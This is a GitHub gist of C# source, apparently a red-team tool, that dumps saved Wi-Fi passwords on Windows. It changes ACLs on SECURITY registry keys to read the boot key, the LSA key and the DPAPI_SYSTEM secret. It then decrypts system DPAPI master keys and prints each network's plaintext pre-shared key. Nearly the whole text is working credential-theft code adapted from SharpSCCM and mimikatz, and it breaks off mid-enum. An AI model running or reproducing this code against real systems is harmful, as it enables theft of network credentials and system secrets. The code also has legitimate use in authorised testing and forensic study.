Skip to content

Instantly share code, notes, and snippets.

@S3cur3Th1sSh1t
Created March 11, 2024 13:30
Show Gist options
  • Save S3cur3Th1sSh1t/bc8a7b1b7972f25bda687a33bd0ebde5 to your computer and use it in GitHub Desktop.
Save S3cur3Th1sSh1t/bc8a7b1b7972f25bda687a33bd0ebde5 to your computer and use it in GitHub Desktop.
using System;
using System.IO;
using System.Security.Cryptography;
using System.Xml;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Security.AccessControl;
using System.ComponentModel;
using System.Text;
using Microsoft.Win32;
using System.Collections.Generic;
using System.Linq;
using System.Text.RegularExpressions;
namespace GetWifiCredentials
{
class DumpThemAll
{
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
public static extern int RegOpenKeyEx(
uint hKey,
string subKey,
int ulOptions,
int samDesired,
ref IntPtr hkResult
);
[DllImport("advapi32.dll")]
public static extern int RegQueryInfoKey(
IntPtr hkey,
StringBuilder lpClass,
ref int lpcbClass,
int lpReserved,
ref IntPtr lpcSubKeys,
ref IntPtr lpcbMaxSubKeyLen,
ref IntPtr lpcbMaxClassLen,
ref IntPtr lpcValues,
ref IntPtr lpcbMaxValueNameLen,
ref IntPtr lpcbMaxValueLen,
ref IntPtr lpcbSecurityDescriptor,
IntPtr lpftLastWriteTime
);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern int RegCloseKey(
IntPtr hKey
);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern int RegQueryValueEx(
IntPtr hKey,
string lpValueName,
int lpReserved,
IntPtr type,
IntPtr lpData,
ref int lpcbData
);
String[] interfaces;
internal DumpThemAll()
{
interfaces = Directory.GetDirectories(@"C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\");
}
internal void GetThem()
{
Console.WriteLine("{0,-20} {1,-63}", "SSID", "PSK");
Console.WriteLine("{0,-20} {1,-63}", "----", "---");
XmlDocument doc = new XmlDocument();
foreach (String inter in interfaces)
{
String[] files = Directory.GetFiles(inter);
foreach (String file in files)
{
doc.Load(file);
XmlNodeList name = doc.GetElementsByTagName("name");
XmlNodeList keys = doc.GetElementsByTagName("keyMaterial");
foreach (XmlNode key in keys)
{
try
{
Dictionary<string, string> masterkeys;
masterkeys = TriageSystemMasterKeys(false);
string decryptedPSK = DPAPIDecrypt(key.InnerText, masterkeys);
string[] hexValuesSplit = decryptedPSK.Split(' ');
byte[] bytes = new byte[hexValuesSplit.Length];
for (int i = 0; i < hexValuesSplit.Length; i++)
{
bytes[i] = Convert.ToByte(hexValuesSplit[i], 16);
}
string PSKString = Encoding.ASCII.GetString(bytes);
Console.WriteLine("{0,-20} {1,-63}", name[0].InnerText, PSKString);
}
catch
{
Console.WriteLine("{0,-20} {1,-63}", name[0].InnerText, "No PSK found");
}
}
}
}
}
static void Main(string[] args)
{
DumpThemAll gwp = new DumpThemAll();
gwp.GetThem();
}
public static bool IsHighIntegrity()
{
WindowsIdentity identity = WindowsIdentity.GetCurrent();
WindowsPrincipal principal = new WindowsPrincipal(identity);
return principal.IsInRole(WindowsBuiltInRole.Administrator);
}
// The following is a lot of code stolen from SharpSCCM with slight modifications only - https://github.com/Mayyhem/SharpSCCM/
public static string DPAPIDecrypt(string blob, Dictionary<string, string> masterkeys)
{
byte[] blobBytes = new byte[blob.Length / 2];
for (int i = 0; i < blob.Length; i += 2)
{
blobBytes[i / 2] = Byte.Parse(blob.Substring(i, 2), System.Globalization.NumberStyles.HexNumber);
}
if (blobBytes.Length > 0)
{
byte[] decBytesRaw = DescribeDPAPIBlob(blobBytes, masterkeys);
if ((decBytesRaw != null) && (decBytesRaw.Length != 0))
{
if (IsUnicode(decBytesRaw))
{
string data = "";
int finalIndex = Array.LastIndexOf(decBytesRaw, (byte)0);
if (finalIndex > 1)
{
byte[] decBytes = new byte[finalIndex + 1];
Array.Copy(decBytesRaw, 0, decBytes, 0, finalIndex);
data = Encoding.Unicode.GetString(decBytes);
return data;
}
else
{
data = Encoding.ASCII.GetString(decBytesRaw);
return data;
}
}
else
{
string hexData = BitConverter.ToString(decBytesRaw).Replace("-", " ");
return hexData;
}
}
else
{
return null;
}
}
else
{
return null;
}
}
public static List<byte[]> GetDPAPIKeys(bool show = false)
{
// retrieves the "DPAPI_SYSTEM" LSA secret wuth the GetLSASecret() function,
// returning a list of @(machineDPAPI, userDPAPI)
// also displays the full and m/u secrets a la Mimikatz
List<byte[]> dpapiKeys = new List<byte[]>();
byte[] dpapiKeyFull;
dpapiKeyFull = GetLSASecret("DPAPI_SYSTEM");
byte[] dpapiKeyMachine = new byte[20];
byte[] dpapiKeyUser = new byte[20];
Array.Copy(dpapiKeyFull, 0, dpapiKeyMachine, 0, 20);
Array.Copy(dpapiKeyFull, 20, dpapiKeyUser, 0, 20);
dpapiKeys.Add(dpapiKeyMachine);
dpapiKeys.Add(dpapiKeyUser);
if (show)
{
Console.WriteLine("[+] Secret: DPAPI_SYSTEM");
Console.WriteLine(" full: {0}", BitConverter.ToString(dpapiKeyFull).Replace("-", ""));
Console.WriteLine(" m/u: {0} / {1}", BitConverter.ToString(dpapiKeyMachine).Replace("-", ""), BitConverter.ToString(dpapiKeyUser).Replace("-", ""));
}
return dpapiKeys;
}
public static byte[] GetLSASecret(string secretName)
{
ModifyRegistry();
// get the LSA key needed to secret decryption
byte[] LSAKey = GetLSAKey();
string keyPath = String.Format("SECURITY\\Policy\\Secrets\\{0}\\CurrVal", secretName);
byte[] keyData = GetRegKeyValue(keyPath);
byte[] keyEncryptedData = new byte[keyData.Length - 28];
Array.Copy(keyData, 28, keyEncryptedData, 0, keyEncryptedData.Length);
// calculate the temp key by using the LSA key to calculate the Sha256 hash on the first 32 bytes
// of the extracted secret data
byte[] keyEncryptedDataEncryptedKey = new byte[32];
Array.Copy(keyEncryptedData, 0, keyEncryptedDataEncryptedKey, 0, 32);
byte[] tmpKey = LSASHA256Hash(LSAKey, keyEncryptedDataEncryptedKey);
// use the temp key to decrypt the rest of the plaintext
byte[] keyEncryptedDataRemainder = new byte[keyEncryptedData.Length - 32];
Array.Copy(keyEncryptedData, 32, keyEncryptedDataRemainder, 0, keyEncryptedDataRemainder.Length);
byte[] IV = new byte[16];
byte[] keyPathPlaintext = LSAAESDecrypt(tmpKey, keyEncryptedDataRemainder);
RevertRegistry();
byte[] secret = new byte[40];
Array.Copy(keyPathPlaintext, 20, secret, 0, 40);
return secret;
}
// Registry keys that require permissions modification
static string[] LsaRegKeys = new string[]
{
"SECURITY\\Policy\\Secrets\\DPAPI_SYSTEM\\CurrVal\\",
"SECURITY\\Policy\\PolEKList"
};
static RegistrySecurity originalAcl = new RegistrySecurity();
static RegistrySecurity newAcl = new RegistrySecurity(); // Create a new ACL object to store the modified registry key ACL
static RegistryAccessRule newRule;
static RegistrySecurity revertedAcl = new RegistrySecurity(); // Create a new ACL object to store the reverted registry key ACL
public static void ModifyRegistry()
{
string currentName = System.Security.Principal.WindowsIdentity.GetCurrent().Name; // Get current user context
foreach (string key in LsaRegKeys)
{
//Console.WriteLine("[+] Modifying permissions on registry key: {0}", key);
// Backup the current ACL
originalAcl = Registry.LocalMachine.OpenSubKey(key, RegistryKeyPermissionCheck.ReadWriteSubTree, System.Security.AccessControl.RegistryRights.ReadPermissions).GetAccessControl();
// Copy the current ACL into a new ACL
newAcl = originalAcl;
// Create a new rule that grants the current user read permissions on the key
newRule = new RegistryAccessRule(currentName, RegistryRights.ReadKey, InheritanceFlags.None, PropagationFlags.None, AccessControlType.Allow);
// Append the new rule to the new ACL
newAcl.AddAccessRule(newRule);
// Apply the new ACL to the key
Registry.LocalMachine.OpenSubKey(key, RegistryKeyPermissionCheck.ReadWriteSubTree, System.Security.AccessControl.RegistryRights.ChangePermissions).SetAccessControl(newAcl);
}
}
public static void RevertRegistry()
{
string currentName = System.Security.Principal.WindowsIdentity.GetCurrent().Name; // Get current user context
foreach (string key in LsaRegKeys)
{
//Console.WriteLine("[+] Reverting permissions on registry key: {0}", key);
revertedAcl = newAcl;
newRule = new RegistryAccessRule(currentName, RegistryRights.ReadKey, InheritanceFlags.None, PropagationFlags.None, AccessControlType.Allow);
revertedAcl.RemoveAccessRule(newRule);
Registry.LocalMachine.OpenSubKey(key, RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.ChangePermissions).SetAccessControl(revertedAcl);
}
}
public static byte[] GetLSAKey()
{
// retrieves the boot key (syskey) and uses it to retrieve the key used to encrypt LSA secrets
byte[] bootkey = GetBootKey();
byte[] LSAKeyEncryptedStruct = GetRegKeyValue(@"SECURITY\Policy\PolEKList");
byte[] LSAEncryptedData = new byte[LSAKeyEncryptedStruct.Length - 28];
Array.Copy(LSAKeyEncryptedStruct, 28, LSAEncryptedData, 0, LSAEncryptedData.Length);
// calculate the temp key by using the boot key to calculate the Sha256 hash on the first 32 bytes
// of the LSA key data
byte[] LSAEncryptedDataEncryptedKey = new byte[32];
Array.Copy(LSAEncryptedData, 0, LSAEncryptedDataEncryptedKey, 0, 32);
byte[] tmpKey = LSASHA256Hash(bootkey, LSAEncryptedDataEncryptedKey);
// use the temp key to decrypt the rest of the LSA struct
byte[] LSAEncryptedDataRemainder = new byte[LSAEncryptedData.Length - 32];
Array.Copy(LSAEncryptedData, 32, LSAEncryptedDataRemainder, 0, LSAEncryptedDataRemainder.Length);
byte[] IV = new byte[16];
byte[] LSAKeyStructPlaintext = LSAAESDecrypt(tmpKey, LSAEncryptedDataRemainder);
byte[] LSAKey = new byte[32];
Array.Copy(LSAKeyStructPlaintext, 68, LSAKey, 0, 32);
return LSAKey;
}
public static byte[] GetBootKey()
{
// returns the system boot key (aka syskey) that's later used to calculate the LSA key
StringBuilder scrambledKey = new StringBuilder();
foreach (string key in new string[] { "JD", "Skew1", "GBG", "Data" })
{
string keyPath = String.Format("SYSTEM\\CurrentControlSet\\Control\\Lsa\\{0}", key);
StringBuilder classVal = new StringBuilder(1024);
int len = 1024;
int result = 0;
IntPtr hKey = IntPtr.Zero;
IntPtr dummy = IntPtr.Zero;
// open the specified key with read (0x19) privileges
// 0x80000002 == HKLM
result = RegOpenKeyEx(0x80000002, keyPath, 0, 0x19, ref hKey);
if (result != 0)
{
int error = Marshal.GetLastWin32Error();
string errorMessage = new Win32Exception((int)error).Message;
Console.WriteLine("[!] Error opening {0} ({1}) : {2}", keyPath, error, errorMessage);
return null;
}
result = RegQueryInfoKey(hKey, classVal, ref len, 0, ref dummy, ref dummy, ref dummy, ref dummy, ref dummy, ref dummy, ref dummy, IntPtr.Zero);
if (result != 0)
{
int error = Marshal.GetLastWin32Error();
string errorMessage = new Win32Exception((int)error).Message;
Console.WriteLine("[!] Error enumerating {0} ({1}) : {2}", keyPath, error, errorMessage);
return null;
}
RegCloseKey(hKey);
scrambledKey.Append(classVal);
}
// reference: https://github.com/brandonprry/gray_hat_csharp_code/blob/e1d5fc2a497ae443225d840718adde836ffaeefe/ch14_reading_offline_hives/Program.cs#L74-L82
byte[] skey = StringToByteArray(scrambledKey.ToString());
byte[] descramble = new byte[] { 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3,
0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 };
byte[] bootkey = new byte[16];
for (int i = 0; i < bootkey.Length; i++)
bootkey[i] = skey[descramble[i]];
return bootkey;
}
public static byte[] LSASHA256Hash(byte[] key, byte[] rawData)
{
// yay
using (var sha256Hash = SHA256.Create())
{
var buffer = new byte[key.Length + (rawData.Length * 1000)];
Array.Copy(key, 0, buffer, 0, key.Length);
for (var i = 0; i < 1000; ++i)
{
Array.Copy(rawData, 0, buffer, key.Length + (i * rawData.Length), rawData.Length);
}
return sha256Hash.ComputeHash(buffer);
}
}
public static Dictionary<string, string> TriageSystemMasterKeys(bool show)
{
// retrieve the DPAPI_SYSTEM key and use it to decrypt any SYSTEM DPAPI masterkeys
var mappings = new Dictionary<string, string>();
if (IsHighIntegrity())
{
// get the system and user DPAPI backup keys, showing the machine DPAPI keys
// { machine , user }
var keys = GetDPAPIKeys(false);
string systemFolder = "";
if (!Environment.Is64BitProcess)
{
systemFolder = $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Windows\\Sysnative\\Microsoft\\Protect\\";
}
else
{
systemFolder = $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Windows\\System32\\Microsoft\\Protect\\";
}
if (Directory.Exists(systemFolder))
{
try
{
string[] systemDirs = Directory.GetDirectories(systemFolder);
foreach (var directory in systemDirs)
{
var machineFiles = Directory.GetFiles(directory);
var userFiles = new string[0];
if (Directory.Exists($"{directory}\\User\\"))
{
userFiles = Directory.GetFiles($"{directory}\\User\\");
}
foreach (var file in machineFiles)
{
if (!Regex.IsMatch(file,
@".*\\[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}"))
continue;
var masteyKeyBytes = File.ReadAllBytes(file);
try
{
// use the "machine" DPAPI key
var plaintextMasterkey = DecryptMasterKeyWithSha(masteyKeyBytes, keys[0]);
mappings.Add(plaintextMasterkey.Key, plaintextMasterkey.Value);
}
catch (Exception ex)
{
Console.WriteLine("[!] Error triaging {0} : {1}", file, ex.Message);
}
}
foreach (var file in userFiles)
{
if (!Regex.IsMatch(file,
@".*\\[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}"))
continue;
var masteyKeyBytes = File.ReadAllBytes(file);
try
{
// use the "user" DPAPI key
var plaintextMasterKey = DecryptMasterKeyWithSha(masteyKeyBytes, keys[1]);
mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value);
}
catch (Exception ex)
{
Console.WriteLine("[!] Error triaging {0} : {1}", file, ex.Message);
}
}
}
if (show)
{
Console.WriteLine("\r\n[+] SYSTEM master key cache:");
foreach (KeyValuePair<string, string> kvp in mappings)
{
Console.WriteLine(" {0}:{1}", kvp.Key, kvp.Value);
}
}
}
catch (Exception)
{
}
}
}
else
{
Console.WriteLine("\r\n[!] Must be elevated to triage SYSTEM masterkeys!\r\n");
}
return mappings;
}
public static KeyValuePair<string, string> DecryptMasterKeyWithSha(byte[] masterKeyBytes, byte[] shaBytes)
{
// takes masterkey bytes and SYSTEM_DPAPI masterkey sha bytes, returns a dictionary of guid:sha1 masterkey mappings
var guidMasterKey = $"{{{Encoding.Unicode.GetString(masterKeyBytes, 12, 72)}}}";
var mkBytes = GetMasterKey(masterKeyBytes);
var offset = 4;
var salt = new byte[16];
Array.Copy(mkBytes, 4, salt, 0, 16);
offset += 16;
var rounds = BitConverter.ToInt32(mkBytes, offset);
offset += 4;
var algHash = BitConverter.ToInt32(mkBytes, offset);
offset += 4;
var algCrypt = BitConverter.ToInt32(mkBytes, offset);
offset += 4;
var encData = new byte[mkBytes.Length - offset];
Array.Copy(mkBytes, offset, encData, 0, encData.Length);
var derivedPreKey = DerivePreKey(shaBytes, algHash, salt, rounds);
switch (algCrypt)
{
// CALG_AES_256 == 26128 , CALG_SHA_512 == 32782
case 26128 when (algHash == 32782):
{
var masterKeySha1 = DecryptAes256HmacSha512(shaBytes, derivedPreKey, encData);
var masterKeyStr = BitConverter.ToString(masterKeySha1).Replace("-", "");
return new KeyValuePair<string, string>(guidMasterKey, masterKeyStr);
}
// Support for 32777(CALG_HMAC) / 26115(CALG_3DES)
case 26115 when (algHash == 32777 || algHash == 32772):
{
var masterKeySha1 = DecryptTripleDESHmac(derivedPreKey, encData);
var masterKeyStr = BitConverter.ToString(masterKeySha1).Replace("-", "");
return new KeyValuePair<string, string>(guidMasterKey, masterKeyStr);
}
default:
throw new Exception($"Alg crypt '{algCrypt} / 0x{algCrypt:X8}' not currently supported!");
}
}
private static byte[] DecryptTripleDESHmac(byte[] final, byte[] encData)
{
var desCryptoProvider = new TripleDESCryptoServiceProvider();
var ivBytes = new byte[8];
var key = new byte[24];
Array.Copy(final, 24, ivBytes, 0, 8);
Array.Copy(final, 0, key, 0, 24);
desCryptoProvider.Key = key;
desCryptoProvider.IV = ivBytes;
desCryptoProvider.Mode = CipherMode.CBC;
desCryptoProvider.Padding = PaddingMode.Zeros;
var plaintextBytes = desCryptoProvider.CreateDecryptor().TransformFinalBlock(encData, 0, encData.Length);
var decryptedkey = new byte[64];
Array.Copy(plaintextBytes, 40, decryptedkey, 0, 64);
using (var sha1 = new SHA1Managed())
{
var masterKeySha1 = sha1.ComputeHash(decryptedkey);
return masterKeySha1;
}
}
public static byte[] GetMasterKey(byte[] masterKeyBytes)
{
// helper to extract domain masterkey subbytes from a master key blob
var offset = 96;
var masterKeyLen = BitConverter.ToInt64(masterKeyBytes, offset);
offset += 4 * 8; // skip the key length headers
var masterKeySubBytes = new byte[masterKeyLen];
Array.Copy(masterKeyBytes, offset, masterKeySubBytes, 0, masterKeyLen);
return masterKeySubBytes;
}
private static byte[] DerivePreKey(byte[] shaBytes, int algHash, byte[] salt, int rounds)
{
byte[] derivedPreKey;
switch (algHash)
{
// CALG_SHA_512 == 32782
case 32782:
{
// derive the "Pbkdf2/SHA512" key for the masterkey, using MS' silliness
using (var hmac = new HMACSHA512())
{
var df = new Pbkdf2(hmac, shaBytes, salt, rounds);
derivedPreKey = df.GetBytes(48);
}
break;
}
case 32777:
{
// derive the "Pbkdf2/SHA1" key for the masterkey, using MS' silliness
using (var hmac = new HMACSHA1())
{
var df = new Pbkdf2(hmac, shaBytes, salt, rounds);
derivedPreKey = df.GetBytes(32);
}
break;
}
default:
throw new Exception($"alg hash '{algHash} / 0x{algHash:X8}' not currently supported!");
}
return derivedPreKey;
}
private static byte[] DecryptAes256HmacSha512(byte[] shaBytes, byte[] final, byte[] encData)
{
var HMACLen = (new HMACSHA512()).HashSize / 8;
var aesCryptoProvider = new AesManaged();
var ivBytes = new byte[16];
Array.Copy(final, 32, ivBytes, 0, 16);
var key = new byte[32];
Array.Copy(final, 0, key, 0, 32);
aesCryptoProvider.Key = key;
aesCryptoProvider.IV = ivBytes;
aesCryptoProvider.Mode = CipherMode.CBC;
aesCryptoProvider.Padding = PaddingMode.Zeros;
// decrypt the encrypted data using the Pbkdf2-derived key
var plaintextBytes = aesCryptoProvider.CreateDecryptor().TransformFinalBlock(encData, 0, encData.Length);
var outLen = plaintextBytes.Length;
var outputLen = outLen - 16 - HMACLen;
var masterKeyFull = new byte[HMACLen];
// outLen - outputLen == 80 in this case
Array.Copy(plaintextBytes, outLen - outputLen, masterKeyFull, 0, masterKeyFull.Length);
using (var sha1 = new SHA1Managed())
{
var masterKeySha1 = sha1.ComputeHash(masterKeyFull);
// we're HMAC'ing the first 16 bytes of the decrypted buffer with the shaBytes as the key
var plaintextCryptBuffer = new byte[16];
Array.Copy(plaintextBytes, plaintextCryptBuffer, 16);
var hmac1 = new HMACSHA512(shaBytes);
var round1Hmac = hmac1.ComputeHash(plaintextCryptBuffer);
// round 2
var round2buffer = new byte[outputLen];
Array.Copy(plaintextBytes, outLen - outputLen, round2buffer, 0, outputLen);
var hmac2 = new HMACSHA512(round1Hmac);
var round2Hmac = hmac2.ComputeHash(round2buffer);
// compare the second HMAC value to the original plaintextBytes, starting at index 16
var comparison = new byte[64];
Array.Copy(plaintextBytes, 16, comparison, 0, comparison.Length);
if (comparison.SequenceEqual(round2Hmac))
{
return masterKeySha1;
}
throw new Exception("HMAC integrity check failed!");
}
}
public static byte[] LSAAESDecrypt(byte[] key, byte[] data)
{
var aesCryptoProvider = new AesManaged();
aesCryptoProvider.Key = key;
aesCryptoProvider.IV = new byte[16];
aesCryptoProvider.Mode = CipherMode.CBC;
aesCryptoProvider.BlockSize = 128;
aesCryptoProvider.Padding = PaddingMode.Zeros;
var transform = aesCryptoProvider.CreateDecryptor();
var chunks = Decimal.ToInt32(Math.Ceiling((decimal)data.Length / (decimal)16));
var plaintext = new byte[chunks * 16];
for (var i = 0; i < chunks; ++i)
{
var offset = i * 16;
var chunk = new byte[16];
Array.Copy(data, offset, chunk, 0, 16);
var chunkPlaintextBytes = transform.TransformFinalBlock(chunk, 0, chunk.Length);
Array.Copy(chunkPlaintextBytes, 0, plaintext, i * 16, 16);
}
return plaintext;
}
public static byte[] DescribeDPAPIBlob(byte[] blobBytes, Dictionary<string, string> MasterKeys)
{
// Parses a DPAPI blob returning the decrypted plaintext
var offset = 24; // Set to 24 since we're only working with 'blob' blobType
var guidMasterKeyBytes = new byte[16];
Array.Copy(blobBytes, offset, guidMasterKeyBytes, 0, 16);
var guidMasterKey = new Guid(guidMasterKeyBytes);
var guidString = $"{{{guidMasterKey}}}";
//Console.WriteLine(" guidMasterKey : {0}", guidString);
offset += 16;
//Console.WriteLine(" size : {0}", blobBytes.Length);
var flags = BitConverter.ToUInt32(blobBytes, offset);
offset += 4;
//Console.WriteLine(" flags : 0x{0}", flags.ToString("X"));
if ((flags != 0) && ((flags & 0x20000000) == flags))
{
//Console.Write(" (CRYPTPROTECT_SYSTEM)");
}
//Console.WriteLine();
var descLength = BitConverter.ToInt32(blobBytes, offset);
offset += 4;
var description = Encoding.Unicode.GetString(blobBytes, offset, descLength);
offset += descLength;
var algCrypt = BitConverter.ToInt32(blobBytes, offset);
offset += 4;
var algCryptLen = BitConverter.ToInt32(blobBytes, offset);
offset += 4;
var saltLen = BitConverter.ToInt32(blobBytes, offset);
offset += 4;
var saltBytes = new byte[saltLen];
Array.Copy(blobBytes, offset, saltBytes, 0, saltLen);
offset += saltLen;
var hmacKeyLen = BitConverter.ToInt32(blobBytes, offset);
offset += 4 + hmacKeyLen;
var alghash = BitConverter.ToInt32(blobBytes, offset);
offset += 4;
var algHashLen = BitConverter.ToInt32(blobBytes, offset);
offset += 4;
var hmac2KeyLen = BitConverter.ToInt32(blobBytes, offset);
offset += 4 + hmac2KeyLen;
var dataLen = BitConverter.ToInt32(blobBytes, offset);
offset += 4;
var dataBytes = new byte[dataLen];
Array.Copy(blobBytes, offset, dataBytes, 0, dataLen);
if (MasterKeys.ContainsKey(guidString))
{
// if this key is present, decrypt this blob
if (alghash == 32782)
{
// grab the sha1(masterkey) from the cache
try
{
var keyBytes = StringToByteArray(MasterKeys[guidString].ToString());
// derive the session key
var derivedKeyBytes = DeriveKey(keyBytes, saltBytes, alghash);
var finalKeyBytes = new byte[algCryptLen / 8];
Array.Copy(derivedKeyBytes, finalKeyBytes, algCryptLen / 8);
return DecryptBlob(dataBytes, finalKeyBytes, algCrypt);
}
catch (Exception ex)
{
Console.WriteLine(" [!] Error retrieving GUID:SHA1 from cache {0} : {1}", guidString, ex.Message);
}
}
}
return new byte[0]; //temp
}
public static byte[] DecryptBlob(byte[] ciphertext, byte[] key, int algCrypt, PaddingMode padding = PaddingMode.Zeros)
{
// decrypts a DPAPI blob using 3DES or AES
// reference: https://docs.microsoft.com/en-us/windows/desktop/seccrypto/alg-id
switch (algCrypt)
{
case 26115: // 26115 == CALG_3DES
{
// takes a byte array of ciphertext bytes and a key array, decrypt the blob with 3DES
var desCryptoProvider = new TripleDESCryptoServiceProvider();
var ivBytes = new byte[8];
desCryptoProvider.Key = key;
desCryptoProvider.IV = ivBytes;
desCryptoProvider.Mode = CipherMode.CBC;
desCryptoProvider.Padding = padding;
try
{
var plaintextBytes = desCryptoProvider.CreateDecryptor()
.TransformFinalBlock(ciphertext, 0, ciphertext.Length);
return plaintextBytes;
}
catch (Exception e)
{
Console.WriteLine("[x] An exception occured: {0}", e);
}
return new byte[0];
}
case 26128: // 26128 == CALG_AES_256
{
// takes a byte array of ciphertext bytes and a key array, decrypt the blob with AES256
var aesCryptoProvider = new AesManaged();
var ivBytes = new byte[16];
aesCryptoProvider.Key = key;
aesCryptoProvider.IV = ivBytes;
aesCryptoProvider.Mode = CipherMode.CBC;
aesCryptoProvider.Padding = padding;
var plaintextBytes = aesCryptoProvider.CreateDecryptor()
.TransformFinalBlock(ciphertext, 0, ciphertext.Length);
return plaintextBytes;
}
default:
throw new Exception($"Could not decrypt blob. Unsupported algorithm: {algCrypt}");
}
}
public static byte[] DeriveKey(byte[] keyBytes, byte[] saltBytes, int algHash, byte[] entropy = null)
{
// derives a dpapi session key using Microsoft crypto "magic"
//Console.WriteLine("[*] key : {0}", BitConverter.ToString(keyBytes).Replace("-", ""));
//Console.WriteLine("[*] saltBytes : {0}", BitConverter.ToString(saltBytes).Replace("-", ""));
//Console.WriteLine("[*] entropy : {0}", BitConverter.ToString(entropy).Replace("-", ""));
//Console.WriteLine("[*] algHash : {0}", algHash);
if (algHash == 32782)
{
// calculate the session key -> HMAC(salt) where the sha1(masterkey) is the key
// 32782 == CALG_SHA_512
// https://github.com/gentilkiwi/mimikatz/blob/fa42ed93aa4d5aa73825295e2ab757ac96005581/modules/kull_m_dpapi.c#L500
if (entropy != null)
{
return HMACSha512(keyBytes, Combine(saltBytes, entropy));
}
else
{
return HMACSha512(keyBytes, saltBytes);
}
}
else if (algHash == 32772)
{
// 32772 == CALG_SHA1
var ipad = new byte[64];
var opad = new byte[64];
// "...wut" - anyone reading Microsoft crypto
for (var i = 0; i < 64; i++)
{
ipad[i] = Convert.ToByte('6');
opad[i] = Convert.ToByte('\\');
}
for (var i = 0; i < keyBytes.Length; i++)
{
ipad[i] ^= keyBytes[i];
opad[i] ^= keyBytes[i];
}
byte[] bufferI = Combine(ipad, saltBytes);
using (var sha1 = new SHA1Managed())
{
var sha1BufferI = sha1.ComputeHash(bufferI);
byte[] bufferO = Combine(opad, sha1BufferI);
if (entropy != null)
{
bufferO = Combine(bufferO, entropy);
}
var sha1Buffer0 = sha1.ComputeHash(bufferO);
return DeriveKeyRaw(sha1Buffer0, algHash);
}
}
else
{
return new byte[0];
}
}
// adapted from https://github.com/gentilkiwi/mimikatz/blob/fa42ed93aa4d5aa73825295e2ab757ac96005581/modules/kull_m_crypto.c#L79-L101
public static byte[] DeriveKeyRaw(byte[] hashBytes, int algHash)
{
var ipad = new byte[64];
var opad = new byte[64];
// "...wut" - anyone reading Microsoft crypto
for (var i = 0; i < 64; i++)
{
ipad[i] = Convert.ToByte('6');
opad[i] = Convert.ToByte('\\');
}
for (var i = 0; i < hashBytes.Length; i++)
{
ipad[i] ^= hashBytes[i];
opad[i] ^= hashBytes[i];
}
if (algHash == 32772)
{
using (var sha1 = new SHA1Managed())
{
var ipadSHA1bytes = sha1.ComputeHash(ipad);
var ppadSHA1bytes = sha1.ComputeHash(opad);
return Combine(ipadSHA1bytes, ppadSHA1bytes);
}
}
else
{
Console.WriteLine("[X] Alghash not yet implemented: {0}", algHash);
return new byte[0];
}
}
public static byte[] Combine(byte[] first, byte[] second)
{
// helper to combine two byte arrays
byte[] ret = new byte[first.Length + second.Length];
Buffer.BlockCopy(first, 0, ret, 0, first.Length);
Buffer.BlockCopy(second, 0, ret, first.Length, second.Length);
return ret;
}
private static byte[] HMACSha512(byte[] keyBytes, byte[] saltBytes)
{
var hmac = new HMACSHA512(keyBytes);
var sessionKeyBytes = hmac.ComputeHash(saltBytes);
return sessionKeyBytes;
}
public static byte[] StringToByteArray(string hex)
{
// helper to convert a string hex representation to a byte array
return Enumerable.Range(0, hex.Length).Where(x => x % 2 == 0).Select(x => Convert.ToByte(hex.Substring(x, 2), 16)).ToArray();
}
public static byte[] GetRegKeyValue(string keyPath)
{
// takes a given HKLM key path and returns the registry value
int result = 0;
IntPtr hKey = IntPtr.Zero;
// open the specified key with read (0x19) privileges
// 0x80000002 == HKLM
result = RegOpenKeyEx(0x80000002, keyPath, 0, 0x19, ref hKey);
if (result != 0)
{
int error = Marshal.GetLastWin32Error();
string errorMessage = new Win32Exception((int)error).Message;
Console.WriteLine("Error opening {0} ({1}) : {2}", keyPath, error, errorMessage);
return null;
}
int cbData = 0;
result = RegQueryValueEx(hKey, null, 0, IntPtr.Zero, IntPtr.Zero, ref cbData);
if (result != 0)
{
int error = Marshal.GetLastWin32Error();
string errorMessage = new Win32Exception((int)error).Message;
Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, error, errorMessage);
RegCloseKey(hKey);
return null;
}
IntPtr dataPtr = Marshal.AllocHGlobal(cbData);
result = RegQueryValueEx(hKey, null, 0, IntPtr.Zero, dataPtr, ref cbData);
if (result != 0)
{
int error = Marshal.GetLastWin32Error();
string errorMessage = new Win32Exception((int)error).Message;
Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, error, errorMessage);
RegCloseKey(hKey);
return null;
}
byte[] data = new byte[cbData];
Marshal.Copy(dataPtr, data, 0, cbData);
RegCloseKey(hKey);
return data;
}
public static bool IsUnicode(byte[] bytes)
{
// helper that users the IsTextUnicode() API call to determine if a byte array is likely unicode text
IsTextUnicodeFlags flags = IsTextUnicodeFlags.IS_TEXT_UNICODE_STATISTICS;
return IsTextUnicode(bytes, bytes.Length, ref flags);
}
[Flags]
public enum IsTextUnicodeFlags : int
{
IS_TEXT_UNICODE_ASCII16 = 0x0001,
IS_TEXT_UNICODE_REVERSE_ASCII16 = 0x0010,
IS_TEXT_UNICODE_STATISTICS = 0x0002,
IS_TEXT_UNICODE_REVERSE_STATISTICS = 0x0020,
IS_TEXT_UNICODE_CONTROLS = 0x0004,
IS_TEXT_UNICODE_REVERSE_CONTROLS = 0x0040,
IS_TEXT_UNICODE_SIGNATURE = 0x0008,
IS_TEXT_UNICODE_REVERSE_SIGNATURE = 0x0080,
IS_TEXT_UNICODE_ILLEGAL_CHARS = 0x0100,
IS_TEXT_UNICODE_ODD_LENGTH = 0x0200,
IS_TEXT_UNICODE_DBCS_LEADBYTE = 0x0400,
IS_TEXT_UNICODE_NULL_BYTES = 0x1000,
IS_TEXT_UNICODE_UNICODE_MASK = 0x000F,
IS_TEXT_UNICODE_REVERSE_MASK = 0x00F0,
